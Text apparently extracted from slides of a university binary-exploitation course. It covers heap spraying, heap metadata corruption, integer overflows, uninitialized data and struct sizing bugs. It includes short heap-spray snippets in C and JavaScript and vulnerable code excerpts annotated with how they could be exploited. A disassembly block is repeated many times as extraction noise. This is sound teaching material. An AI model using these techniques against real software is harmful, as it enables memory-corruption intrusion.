filler = "AAAAAAAAAAAAAA...";
for(i = 0; i < 3000; i++)
{
    temp = malloc(1000000);
    memcpy(temp, filler, 1000000);
}
```

0xbfff0000 – Top of stack

0xFFFFFFFF – End of memory

Heap Spray in Action

0x00000000 – Start of memory

0x08048000 – .text Segment in ELF

0x09104000 – Top of heap

```
filler = "AAAAAAAAAAAAAA...";
for(i = 0; i < 3000; i++)
{
    temp = malloc(1000000);
    memcpy(temp, filler, 1000000);
}
```

0xbfff0000 – Top of stack

0xFFFFFFFF – End of memory

Heap Spray in Action

0x00000000 – Start of memory

0x08048000 – .text Segment in ELF

0x09104000 – Top of heap

```
filler = "AAAAAAAAAAAAAA...";
for(i = 0; i < 3000; i++)
{
    temp = malloc(1000000);
    memcpy(temp, filler, 1000000);
}
```

0xbbe09e00 – bottom of heap

0xbfff0000 – Top of stack

0xFFFFFFFF – End of memory

Heap Spray in Action

0x00000000 – Start of memory

0x08048000 – .text Segment in ELF

0x09104000 – Top of heap

```
filler = "AAAAAAAAAAAAAA...";
for(i = 0; i < 3000; i++)
{
    temp = malloc(1000000);
    memcpy(temp, filler, 1000000);
}
```

0xbbe09e00 – bottom of heap

0xbfff0000 – Top of stack

0xFFFFFFFF – End of memory

Heap Spraying in the Wild

- Generally found in browser exploits, rare in CTF and wargames but still something you should be aware of

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
sub     eax, [ebp+var_84]
push    esi
push    esi
push    eax
call    sub_31486A
push    esi
lea     eax, [ebp+arg_0]
push    eax
mov     esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], esi
jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5B
push    0Dh
call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg      short loc_31307D
call    sub_3140F3
jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
call    sub_3140F3
and     eax, 0FFFFh
or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
mov     [ebp+var_4], eax
```

Heap Spraying in the Wild

- Generally found in browser exploits, rare in CTF and wargames but still something you should be aware of

- Usually heap sprays are done in something like javascript placed on a malicious html page

```
memory = new Array();
for(i = 0; i < 0x100; i++)
    memory[i] = ROPNOP + ROP;
```

Heap Spraying on 32bit

- On 32bit systems your address space is at maximum 4GB (2^{32} bytes)

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
sub     eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
call    sub_31486A
test    eax, eax
jz      short loc_31306D
push    esi
lea     eax, [ebp+arg_0]
push    eax
mov     esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], esi
jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+59
push    0Dh
call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg      short loc_31307D
call    sub_3140F3
jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
call    sub_3140F3
and     eax, 0FFFFh
or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
mov     [ebp+var_4], eax
```

Heap Spraying on 32bit

- On 32bit systems your address space is at maximum 4GB (2^{32} bytes)
- Spray 3GB of A's onto the heap?
  - +75% chance of 0x23456789 being a valid pointer!

Heap Spraying on 32bit

- On 32bit systems your address space is at maximum 4GB (2^{32} bytes)
- Spray 3GB of A's onto the heap?
  - +75% chance of 0x23456789 being a valid pointer!
  - Note: It's unlikely you would ever need to spray 3GB of anything as heap locations can be somewhat predictable, even with ASLR

Heap Spraying on 64bit

- On 64bit heap spraying can't really be used to bypass ASLR

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
sub     eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
lea     eax, [ebp+arg_0]
call    sub_31486A
test    eax, eax
jz      short loc_31306D
push    esi
lea     eax, [ebp+arg_0]
push    eax
mov     esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], esi
jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
push    0Dh
call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg      short loc_31307D
call    sub_3140F3
jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
call    sub_3140F3
and     eax, 0FFFFh
or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
mov     [ebp+var_4], eax
```

Heap Spraying on 64bit

- On 64bit heap spraying can't really be used to bypass ASLR
  - Good luck spraying anywhere near 2^{64} bytes

Heap Spraying on 64bit

- On 64bit heap spraying can't really be used to bypass ASLR
  - Good luck spraying anywhere near 2^{64} bytes (spoiler: that's ~18446744 terabytes)

Heap Spraying on 64bit

- On 64bit heap spraying can't really be used to bypass ASLR
  - Good luck spraying anywhere near 2^{64} bytes (spoiler: that's ~18446744 terabytes)
- Targeted sprays are still useful in scenarios that you have a partial heap ptr overwrite or need to do some heap grooming

Heap Spray Payloads

- Pretty common to spray some critical value for your exploit, fake objects, or ROP chains

Lecture Overview

- Heap Overview
- Heap Exploitation
  - Heap Overflows
  - Use After Free
  - Heap Spraying
  - Metadata Corruption

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Metadata Corruption

- Metadata corruption based exploits involve corrupting heap metadata in such a way that you can use the allocator's internal functions to cause a controlled write of some sort

- Generally involves faking chunks, and abusing its different coalescing or unlinking processes

Heap Chunks – In Use

Heap Chunks – Freed

Metadata Corruption

- The ‘hello world’ of heap metadata exploits is an example taught using the heap unlink() process when freeing a chunk
  - This is a dated and long since patched technique that is well documented
- https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/

Metadata Corruption

- Heap metadata corruption based exploits are usually very involved and require more intimate knowledge of heap internals

- It's suggested you read through some of the following blogs and exploit writeups on your own time as they're pretty interesting

glibc Metadata Corruption

- https://kitctf.de/writeups/0ctf2015/freenote/
- https://sploitfun.wordpress.com/2015/03/04/heap-overflow-using-malloc-maleficarum/
- http://acez.re/ctf-writeup-hitcon-ctf-2014-stkof-or-modern-heap-overflow/
- http://wapiflapi.github.io/2014/11/17/hacklu-oreo-with-ret2dl-resolve/
- http://phrack.org/issues/66/10.html
- http://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt

Metadata Corruption

- Metadata exploits are hard to pull of nowadays as heaps are fairly hardened (especially on modern Windows OS's)
- We won't really be testing on metadata corruption, but it's still something you try to familiarize yourself with

Miscellaneous Concepts

Modern Binary Exploitation

CSCI 4968 - Spring 2015

Austin Ralls

Lecture Overview

- Miscellaneous Concepts
  - Integers in C
  - Uninitialized data
  - Structs
  - File Descriptors
  - Stack Cookies

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Misc Concepts

- There's a lot of smaller bits and pieces to this class that are important, but too small to warrant their own lectures

Misc Concepts

- There's a lot of smaller bits and pieces to this class that are important, but too small to warrant their own lectures

- Also, this lecture should have come before spring break but got displaced till now

Lecture Overview

- Miscellaneous Concepts
  - Integers in C
  - Uninitialized data
  - Structs
  - File Descriptors
  - Stack Cookies

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Integers in C

- We haven't even mentioned signedness yet

```
int var1 = 0;
unsigned int var2 = 0;
```

Integers in C

- We haven't even mentioned signedness yet

```
int var1 = 0;
unsigned int var2 = 0;
```

What's the difference between an int and an unsigned int?

Signed Integers

- A signed integer can be interpreted as positive or negative
- `int`
  - range: –2,147,483,648 to 2,147,483,647

Unsigned Integers

- An unsigned integer is only ever zero and up

- `unsigned int`
  - range: 0 to 4,294,967,295

Unsigned Integers

- An unsigned integer is only ever zero and up

- `unsigned int`
  - range: 0 to 4,294,967,295

Twice the range of a signed integer

Signedness Naming

- The name signed or unsigned comes from whether or not the type can carry a sign (+/-)

Common Names

- Signed
  - `int`
  - `signed int`
  - `long`

- Unsigned
  - `uint`
  - `unsigned int`
  - `unsigned long`

Visualizing Signedness

- A signed int uses the top bit to specify if it is a positive or negative number
  - 0x7FFFFFFF = 2147483647
    - 01111111111111111111111111111111
  - 0x80000000 = -2147483647
    - 10000000000000000000000000000000
  - 0xFFFFFFFF = -1
    - 11111111111111111111111111111111

Two's Complement

- To make a number negative:
  - Invert all bits
  - Add 1

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Two's Complement

- To make a number negative:
  - Invert all bits
  - Add 1

```
eg:  0x00031337
   =  201527
   =  00000000000000110001001100110111
  ~=  11111111111111001110110011001000
  +=  11111111111111001110110011001001
   =  -201527 (0xFFFCECC9)
```

Tracking Signedness

- How does your program track signedness?

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
sub     eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
mov     [ebp+arg_0], eax
call    sub_31486A
test    eax, eax
jz      short loc_31306D
push    esi
lea     eax, [ebp+arg_0]
push    eax
mov     esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], esi
jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
push    0Dh
call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg      short loc_31307D
call    sub_3140F3
jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
call    sub_3140F3
and     eax, 0FFFFh
or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
mov     [ebp+var_4], eax
```

Tracking Signedness

- How does your program track signedness?
  - Variable types are known at compile time, so signed instructions are compiled in to handle your variable

- You probably didn't realize this, but you can determine integer types at the assembly level

Signed instructions

- Some common signed instructions
  - IDIV - Signed divide
  - IMUL - Signed multiply
  - SAL - Shift left, preserve sign
  - SAR - Shift right, preserve sign
  - MOVSX - Move, sign extend
  - JL - Jump if less
  - JLE - Jump if less or equal
  - JG - Jump if greater
  - JGE - Jump if greater or equal

Unsigned instructions

- Some common unsigned instructions
  - DIV - Unsigned divide
  - MUL - Unsigned multiply
  - SHL - Shift left
  - SHR - Shift right
  - MOVZX - Move, zero extend
  - JB - Jump if below
  - JBE - Jump if below or equal
  - JA - Jump if above
  - JAE - Jump if above or equal

Minimum Size

- Minimum sizes
  - `char` 8 bits
  - `short` 16 bits
  - `int` 16 bits
  - `long` 32 bits
  - `long long` 64 bits

- These are MINIMUM sizes, can vary from system to system!

Fixed Sizes

- Fixed size format
  - `int[# of bits]_t`
  - `uint[# of bits]_t`
- eg `int8_t, uint16_t, int32_t`
- Guaranteed size across systems
  - Defined in stdint.h
  - Also check out limits.h

Integer Overflows

- Imagine a simple uint8_t that is being ++'d
  - 0x00
  - 0x01
  - 0x02
  - ...

Integer Overflows

- Imagine a simple uint8_t that is being ++'d
  - 0x00
  - 0x01
  - 0x02
  - ...
  - 0xFE
  - 0xFF
  - ????

Integer Overflows

- Imagine a simple uint8_t that is being ++'d
  - 0x00
  - 0x01
  - 0x02
  - ...
  - 0xFE
  - 0xFF
  - 0x00 <-- overflows!
  - 0x01

Integer Overflows

- This obviously applies to any size of integer!
  - 0xFFFFFFFD
  - 0xFFFFFFFE
  - 0xFFFFFFFF
  - 0x00000000
  - 0x00000001
  - 0x00000002

Integer Overflows

- Don't forget multiplying!

```
0x00120000 * 0x00123456
= 0x00000147AE0C0000 (long long)
= 0xAE0C0000 (long)
```

Integer Overflows

- Don't forget multiplying!

```
0x00120000 * 0x00123456
= 0x00000147AE0C0000 (long long)
= 0xAE0C0000 (long)
or
0x40000123 * 4
= 0x000000010000048C (long long)
= 0x0000048C (long)
```

0-loop_exerpt.c

```
short int bytesRec = 0;
char buf[SOMEBIGNUM];

while(bytesRec < MAXGET)
   bytesRec += getFromInput(buf+bytesRec);
```

(https://www.owasp.org/index.php/Integer_overflow)

0-loop_exerpt.c Solution

```
short int bytesRec = 0;
char buf[SOMEBIGNUM];

while(bytesRec < MAXGET)
  bytesRec += getFromInput(buf+bytesRec);
```

If getFromInput() returns enough bytes to overflow bytesRec, the loop will continue and overflow buf

1-OpenSSH3.3_exerpt.c

```
nresp = packet_get_int();

if(nresp > 0)
{
  response = xmalloc(nresp*sizeof(char*));
  for (i = 0; i < nresp; i++)
    response[i] = packet_get_string(NULL);
}
```

(https://www.owasp.org/index.php/Integer_overflow)

1-OpenSSH3.3_exerpt.c Solution

```
nresp = packet_get_int();

if(nresp > 0)
{
  response = xmalloc(nresp*sizeof(char*));
...
```

nresp is a signed int, what happens when packet_get_int() returns INT_MAX/sizeof (char*)?

1-OpenSSH3.3_exerpt.c Solution

```
nresp = packet_get_int();

if(nresp > 0)
{
  response = xmalloc(nresp*sizeof(char*));
...
```

nresp is a signed int. what happens when packet_get_int() returns INT_MAX/sizeof (char*)?

Probably allocates a 0 size buffer

2-variable-length_exerpt.c

```
char* processNext(char* strm) {
  char buf[512];
  short len = *(short*) strm;
  strm += sizeof(len);
  if (len <= 512) {
    memcpy(buf, strm, len);
    process(buf);
    return strm + len;
  } else {
    return -1;
  }
}
```

(https://www.owasp.org/index.php/Integer_overflow)

2-variable-length_exerpt.c Solution

```
char* processNext(char* strm) {
  char buf[512];
  short len = *(short*) strm;
  strm += sizeof(len);
  if (len <= 512) {
    memcpy(buf, strm, len);
...
```

len is signed short, any negative len will pass the if-statement

2-variable-length_exerpt.c - Solution

```
char* processNext(char* strm) {
  char buf[512];
  short len = *(short*) strm;
  strm += sizeof(len);
  if (len <= 512) {
    memcpy(buf, strm, len);
...
```

len is signed short, any negative len will pass the if-statement

memcpy takes an unsigned int

underflow -> large copy -> stack corruption

Integer Problems

- It's very common to see modern bugs stem from integer confusion and misuse
- Know when to use signed/unsigned!

Lecture Overview

- Miscellaneous Concepts
  - Integers in C
  - Uninitialized data
  - Structs
  - File Descriptors
  - Stack Cookies

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5B
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Uninitialized Data

- Uninitialized data is a subtle vulnerability that can leak information or cause undefined behavior in an application

Uninitialized Data

- Uninitialized data is a subtle vulnerability that can leak information or cause undefined behavior in an application

- The bug manifests when variables are not properly initialized before use

Spot the Bug

```
int do_work()
{
   int i;
   char buf[20];

   while(i < 20){
      buf[i] = 'A';
      i++;
    }

    return 0;
}
```

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Spot the Bug

```
int do_work()
{
  int i;
  char buf[20];

  while(i < 20){
    buf[i] = 'A';
    i++;
   }

   return 0;
}
```

i is never initialized to anything

Spot the Bug

```
int do_work()
{
  int i;
  char buf[20];

  while(i < 20){
    buf[i] = 'A';
    i++;
   }

   return 0;
}
```

i is never initialized to anything

So what is i?

Spot the Bug

```
int do_work()
{
  int i;
  char buf[20];

  while(i < 20){
    buf[i] = 'A';
    i++;
  }

  return 0;
}
```

i is never initialized to anything

So what is i?

The variable will be whatever data happens to be left on the stack frame from a previous function call of any sort

Spot the Bug

```
int do_work()
{
   int i;
   char buf[20];

   while(i < 20){
      buf[i] = 'A';
      i++;
    }

    return 0;
}
```

So can you exploit this function?

Spot the Bug

```
int do_work()
{
  int i;
  char buf[20];

  while(i < 20){
    buf[i] = 'A';
    i++;
   }

   return 0;
}
```

So can you exploit this function?

Probably.

Spot the Bug

```
int do_work()
{
  int i;
  char buf[20];

  while(i < 20){
    buf[i] = 'A';
    i++;
  }

  return 0;
}
```

So can you exploit this function?

Probably.

If you can control i, you can reliably write 20 A's anywhere on the stack.

Spot the Bug

```
int do_work()
{
  int i;
  char buf[20];

  while(i < 20){
    buf[i] = 'A';
    i++;
  }

  return 0;
}
```

So can you exploit this function?

Probably.

If you can control i, you can reliably write 20 A's anywhere on the stack.

(do a partial overwrite or corrupt something more meaningful)

More Subtle

```
#include <stdio.h>
#include <stdlib.h>
void take_ptr( int *bptr ) {
    printf( “%lx”, *bptr );
}
int main( int argc, char **argv ) {
    int b;
    take_ptr( &b );
    printf( “%lx”, b );
}
```

(https://www.blackhat.com/presentations/bh-europe-06/bh-eu-06-Flake.pdf)

#-uninitialized_data.c

- on warzone
- http://www.exploit-db.com/docs/99.pdf

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

#-uninitialized_data.c - Solution

- char *err, *mesg;
- easy to exploit with ASLR off

Uninitialized Data

- Keep in mind this can happen on the heap too!
- There's no knowing what's going to be on the other end of the pointer you get back from something like malloc()

Uninitialized Data

- Pretty common in amateur development, smaller software projects, CTF problems
- Less common in industry as this is an easy issue to detect statically (in source and binary)

Lecture Overview

- Miscellaneous Concepts
  - Integers in C
  - Uninitialized data
  - Structs
  - File Descriptors
  - Stack Cookies

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

#-struct-heap2.c

```
while(1) {
        if(fgets(line, sizeof(line), stdin) == NULL) break;
        if(strncmp(line, "auth ", 5) == 0) {
            auth = malloc(sizeof(auth));
            memset(auth, 0, sizeof(auth));
            if(strlen(line + 5) < 31)
                strcpy(auth->name, line + 5);
        }
        if(strncmp(line, "service", 6) == 0)
            service = strdup(line + 7);
        if(strncmp(line, "login", 5) == 0) {
            if(auth->auth)
                printf("you have logged in already!\n");
            else
                printf("please enter your password\n");
        }
    }
```

(https://exploit-exercises.com/protostar/heap2/)

#-struct-heap2.c

```
...
        if(strncmp(line, "auth ", 5) == 0) {
            auth = malloc(sizeof(auth));
            memset(auth, 0, sizeof(auth));
            if(strlen(line + 5) < 31)
                strcpy(auth->name, line + 5);
        }
        if(strncmp(line, "service", 6) == 0)
            service = strdup(line + 7);
...
```

- `sizeof(auth)` doesn't return size of struct
- In this case, it returns 16
- `service` makes new buffer over `name`/`auth`
- Use `sizeof(struct auth)`

Lecture Overview

- Miscellaneous Concepts
  - Integers in C
  - Uninitialized data
  - Structs
  - File Descriptors
  - Stack Cookies

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

File Descriptors

- In Linux, everything is a file
- When opening a file, it gets a number
- You use some frequently
  - 0 STDIN
  - 1 STDOUT
  - 2 STERR
- open returns a file descriptor

#-fd.c

- On the warzone

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
